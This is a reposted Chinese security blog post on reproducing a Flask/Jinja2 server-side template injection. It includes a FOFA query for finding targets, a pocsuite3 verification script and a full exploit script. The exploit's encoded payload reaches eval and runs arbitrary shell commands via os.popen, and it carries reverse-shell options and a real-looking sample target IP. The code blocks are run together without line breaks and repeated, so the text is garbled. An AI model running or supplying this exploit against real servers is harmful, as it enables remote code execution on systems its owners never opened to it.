本文转载于公众号:融云攻防实验室,原文地址:
漏洞复现-flask-ssti(模版注入漏洞) 漏洞利用
0x01 阅读须知
资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明
0x02 漏洞描述
Flask是一个轻量级的可定制框架,使用Python语言编写,较其他同类型框架更为灵活、轻便、安全且容易上手。它可以很好地结合MVC模式进行开发,开发人员分工合作,小型团队在短时间内就可以完成功能丰富的中小型网站或Web服务的实现。另外,Flask还有很强的定制性,用户可以根据自己的需求来添加相应的功能,在保持核心功能简单的同时实现功能的丰富与扩展,其强大的插件库可以让用户实现个性化的网站定制,开发出功能强大的网站。flask主要是使用的jinja2来作为渲染模板。
而jinja2模板若过滤不严则存在ssti注入,ssti注入又称服务器端模板注入攻击(Server-Side Template Injection),和sql注入一样,也是由于接受用户输入而造成的安全问题。
![图片[1]--flask-ssti(模版注入漏洞) 漏洞利用-安全小天地](https://img.godyu.com/2023/12/20231226125353235.png?imageView2/0/format/webp/q/75)
0x03 漏洞复现
漏洞环境:flask
FOFA: “flask”
前置知识:
1.在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。
2.我们的思路就是从一个内置变量调用__class__.base__等隐藏属性,去找到一个函数,然后调用其__globals[‘builtins’]即可调用eval等执行任意代码
1.测试漏洞页面是否可以执行乘法表达式,回显4,证明存在漏洞
http://x.x.x.x:8000/?name={{2*2}}http://x.x.x.x:8000/?name={{2*2}}http://x.x.x.x:8000/?name={{2*2}}
2.这里就可以编写出pocsuite3的poc,执行成功,证明存在漏洞,如下:
<strong>python3 cli.py -r pocs/poc-flask.py -u http://x.x.x.x:8000 --verify</strong><strong>python3 cli.py -r pocs/poc-flask.py -u http://x.x.x.x:8000 --verify</strong><strong>python3 cli.py -r pocs/poc-flask.py -u http://x.x.x.x:8000 --verify</strong>
from collections import OrderedDictfrom urllib.parse import urljoinimport refrom pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPEfrom pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORYclass DemoPOC(POCBase):#漏洞信息vulID = \'1.1\'version = \'1.1\'author = [\'1.1\']vulDate = \'1.1\'createDate = \'1.1\'updateDate = \'1.1\'references = [\'flask\']name = \'flask\'appPowerLink = \'flask\'appName = \'flask\'appVersion = \'flask\'vulType = VUL_TYPE.CODE_EXECUTIONdesc = \'\'\'flask\'\'\'samples = [\'96.234.71.117:80\']category = POC_CATEGORY.EXPLOITS.REMOTEdef _verify(self):result = {}path = \"?name=\"#路径url = self.url + path#拼接url:http://x.x.x.x:8000/?name=#print(url)payload = \"{{22*22}}\"#payload#print(payload)try:resq = requests.get(url + payload)#get拼接poc:http://x.x.x.x:8000/?name={{22*22}}if resq and resq.status_code == 200 and \"484\" in resq.text:#是否存在484result[\'VerifyInfo\'] = {}#存在输出结果result[\'VerifyInfo\'][\'URL\'] = urlresult[\'VerifyInfo\'][\'Name\'] = payloadexcept Exception as e:return #不存在输出空return self.parse_output(result)def _attack(self):return self._verify()def parse_output(self, result):output = Output(self)#输出result结果if result:#不为空output.success(result)#输出成功else:output.fail(\'target is not vulnerable\')#否则输出漏洞不存在return outputfrom collections import OrderedDict from urllib.parse import urljoin import re from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY class DemoPOC(POCBase):#漏洞信息 vulID = \'1.1\' version = \'1.1\' author = [\'1.1\'] vulDate = \'1.1\' createDate = \'1.1\' updateDate = \'1.1\' references = [\'flask\'] name = \'flask\' appPowerLink = \'flask\' appName = \'flask\' appVersion = \'flask\' vulType = VUL_TYPE.CODE_EXECUTION desc = \'\'\' flask \'\'\' samples = [\'96.234.71.117:80\'] category = POC_CATEGORY.EXPLOITS.REMOTE def _verify(self): result = {} path = \"?name=\"#路径 url = self.url + path#拼接url:http://x.x.x.x:8000/?name= #print(url) payload = \"{{22*22}}\"#payload #print(payload) try: resq = requests.get(url + payload)#get拼接poc:http://x.x.x.x:8000/?name={{22*22}} if resq and resq.status_code == 200 and \"484\" in resq.text:#是否存在484 result[\'VerifyInfo\'] = {}#存在输出结果 result[\'VerifyInfo\'][\'URL\'] = url result[\'VerifyInfo\'][\'Name\'] = payload except Exception as e: return #不存在输出空 return self.parse_output(result) def _attack(self): return self._verify() def parse_output(self, result): output = Output(self)#输出result结果 if result:#不为空 output.success(result)#输出成功 else: output.fail(\'target is not vulnerable\')#否则输出漏洞不存在 return outputfrom collections import OrderedDict from urllib.parse import urljoin import re from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY class DemoPOC(POCBase):#漏洞信息 vulID = \'1.1\' version = \'1.1\' author = [\'1.1\'] vulDate = \'1.1\' createDate = \'1.1\' updateDate = \'1.1\' references = [\'flask\'] name = \'flask\' appPowerLink = \'flask\' appName = \'flask\' appVersion = \'flask\' vulType = VUL_TYPE.CODE_EXECUTION desc = \'\'\' flask \'\'\' samples = [\'96.234.71.117:80\'] category = POC_CATEGORY.EXPLOITS.REMOTE def _verify(self): result = {} path = \"?name=\"#路径 url = self.url + path#拼接url:http://x.x.x.x:8000/?name= #print(url) payload = \"{{22*22}}\"#payload #print(payload) try: resq = requests.get(url + payload)#get拼接poc:http://x.x.x.x:8000/?name={{22*22}} if resq and resq.status_code == 200 and \"484\" in resq.text:#是否存在484 result[\'VerifyInfo\'] = {}#存在输出结果 result[\'VerifyInfo\'][\'URL\'] = url result[\'VerifyInfo\'][\'Name\'] = payload except Exception as e: return #不存在输出空 return self.parse_output(result) def _attack(self): return self._verify() def parse_output(self, result): output = Output(self)#输出result结果 if result:#不为空 output.success(result)#输出成功 else: output.fail(\'target is not vulnerable\')#否则输出漏洞不存在 return output
register_poc(DemoPOC)
![图片[2]--flask-ssti(模版注入漏洞) 漏洞利用-安全小天地](https://img.godyu.com/2023/12/20231226205354453.png?imageView2/0/format/webp/q/75)
3.编写exp,执行whoami命令,回显www-data
python3 cli.py -r pocs/exp-flask.py -u http://x.x.x.x:8000 --attack --command whoamipython3 cli.py -r pocs/exp-flask.py -u http://x.x.x.x:8000 --attack --command whoamipython3 cli.py -r pocs/exp-flask.py -u http://x.x.x.x:8000 --attack --command whoami
from collections import OrderedDictfrom urllib.parse import urljoinimport refrom pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPEfrom pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORYclass DemoPOC(POCBase):#漏洞信息vulID = \'1.1\'version = \'1.1\'author = [\'1.1\']vulDate = \'1.1\'createDate = \'1.1\'updateDate = \'1.1\'references = [\'1.1\']name = \'flack\'appPowerLink = \'flack\'appName = \'flask\'appVersion = \'flask\'vulType = VUL_TYPE.CODE_EXECUTIONdesc = \'\'\'\'\'\'samples = [\'96.234.71.117:80\']category = POC_CATEGORY.EXPLOITS.REMOTEdef _options(self):#反弹shell模块,暂时用不上o = OrderedDict()payload = {\"nc\": REVERSE_PAYLOAD.NC,\"bash\": REVERSE_PAYLOAD.BASH,}o[\"command\"] = OptDict(selected=\"bash\", default=payload)return odef _verify(self):#反弹shell模块output = Output(self)result = {}def _attack(self):result = {}path = \"?name=\"#路径url = self.url + path#拼接url:http://x.x.x.x:8000/?name=#print(url)cmd = self.get_option(\"command\")#定义一个command参数,输入代码执行参数payload = \'name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(\"os\").popen(\"\'+cmd+\'\").read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D\'#从一个内置变量调用__class__.base__等隐藏属性,去找到一个函数,然后调用其__globals[\'builtins\']即可调用eval等执行任意代码try:resq = requests.get(url + payload)#get方法拼接url和payloadt = resq.text#返回命令执行结果t = t.replace(\'\\n\', \'\').replace(\'\\r\', \'\')print(t)#打印结果t = t.replace(\" \",\"\")result[\'VerifyInfo\'] = {}#存在输出结果result[\'VerifyInfo\'][\'URL\'] = urlresult[\'VerifyInfo\'][\'Name\'] = payloadexcept Exception as e:return#不存在输出空return self.parse_attack(result)def parse_attack(self, result):output = Output(self)#输出result结果if result:#不为空output.success(result)#输出成功else:output.fail(\'target is not vulnerable\')#否则输出漏洞不存在return outputfrom collections import OrderedDict from urllib.parse import urljoin import re from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY class DemoPOC(POCBase):#漏洞信息 vulID = \'1.1\' version = \'1.1\' author = [\'1.1\'] vulDate = \'1.1\' createDate = \'1.1\' updateDate = \'1.1\' references = [\'1.1\'] name = \'flack\' appPowerLink = \'flack\' appName = \'flask\' appVersion = \'flask\' vulType = VUL_TYPE.CODE_EXECUTION desc = \'\'\' \'\'\' samples = [\'96.234.71.117:80\'] category = POC_CATEGORY.EXPLOITS.REMOTE def _options(self):#反弹shell模块,暂时用不上 o = OrderedDict() payload = { \"nc\": REVERSE_PAYLOAD.NC, \"bash\": REVERSE_PAYLOAD.BASH, } o[\"command\"] = OptDict(selected=\"bash\", default=payload) return o def _verify(self):#反弹shell模块 output = Output(self) result = {} def _attack(self): result = {} path = \"?name=\"#路径 url = self.url + path#拼接url:http://x.x.x.x:8000/?name= #print(url) cmd = self.get_option(\"command\")#定义一个command参数,输入代码执行参数 payload = \'name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(\"os\").popen(\"\'+cmd+\'\").read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D\'#从一个内置变量调用__class__.base__等隐藏属性,去找到一个函数,然后调用其__globals[\'builtins\']即可调用eval等执行任意代码 try: resq = requests.get(url + payload)#get方法拼接url和payload t = resq.text#返回命令执行结果 t = t.replace(\'\\n\', \'\').replace(\'\\r\', \'\') print(t)#打印结果 t = t.replace(\" \",\"\") result[\'VerifyInfo\'] = {}#存在输出结果 result[\'VerifyInfo\'][\'URL\'] = url result[\'VerifyInfo\'][\'Name\'] = payload except Exception as e: return#不存在输出空 return self.parse_attack(result) def parse_attack(self, result): output = Output(self)#输出result结果 if result:#不为空 output.success(result)#输出成功 else: output.fail(\'target is not vulnerable\')#否则输出漏洞不存在 return outputfrom collections import OrderedDict from urllib.parse import urljoin import re from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY class DemoPOC(POCBase):#漏洞信息 vulID = \'1.1\' version = \'1.1\' author = [\'1.1\'] vulDate = \'1.1\' createDate = \'1.1\' updateDate = \'1.1\' references = [\'1.1\'] name = \'flack\' appPowerLink = \'flack\' appName = \'flask\' appVersion = \'flask\' vulType = VUL_TYPE.CODE_EXECUTION desc = \'\'\' \'\'\' samples = [\'96.234.71.117:80\'] category = POC_CATEGORY.EXPLOITS.REMOTE def _options(self):#反弹shell模块,暂时用不上 o = OrderedDict() payload = { \"nc\": REVERSE_PAYLOAD.NC, \"bash\": REVERSE_PAYLOAD.BASH, } o[\"command\"] = OptDict(selected=\"bash\", default=payload) return o def _verify(self):#反弹shell模块 output = Output(self) result = {} def _attack(self): result = {} path = \"?name=\"#路径 url = self.url + path#拼接url:http://x.x.x.x:8000/?name= #print(url) cmd = self.get_option(\"command\")#定义一个command参数,输入代码执行参数 payload = \'name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(\"os\").popen(\"\'+cmd+\'\").read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D\'#从一个内置变量调用__class__.base__等隐藏属性,去找到一个函数,然后调用其__globals[\'builtins\']即可调用eval等执行任意代码 try: resq = requests.get(url + payload)#get方法拼接url和payload t = resq.text#返回命令执行结果 t = t.replace(\'\\n\', \'\').replace(\'\\r\', \'\') print(t)#打印结果 t = t.replace(\" \",\"\") result[\'VerifyInfo\'] = {}#存在输出结果 result[\'VerifyInfo\'][\'URL\'] = url result[\'VerifyInfo\'][\'Name\'] = payload except Exception as e: return#不存在输出空 return self.parse_attack(result) def parse_attack(self, result): output = Output(self)#输出result结果 if result:#不为空 output.success(result)#输出成功 else: output.fail(\'target is not vulnerable\')#否则输出漏洞不存在 return output
register_poc(DemoPOC)
![图片[3]--flask-ssti(模版注入漏洞) 漏洞利用-安全小天地](https://img.godyu.com/2023/12/20231226205355670.png?imageView2/0/format/webp/q/75)
暂无评论内容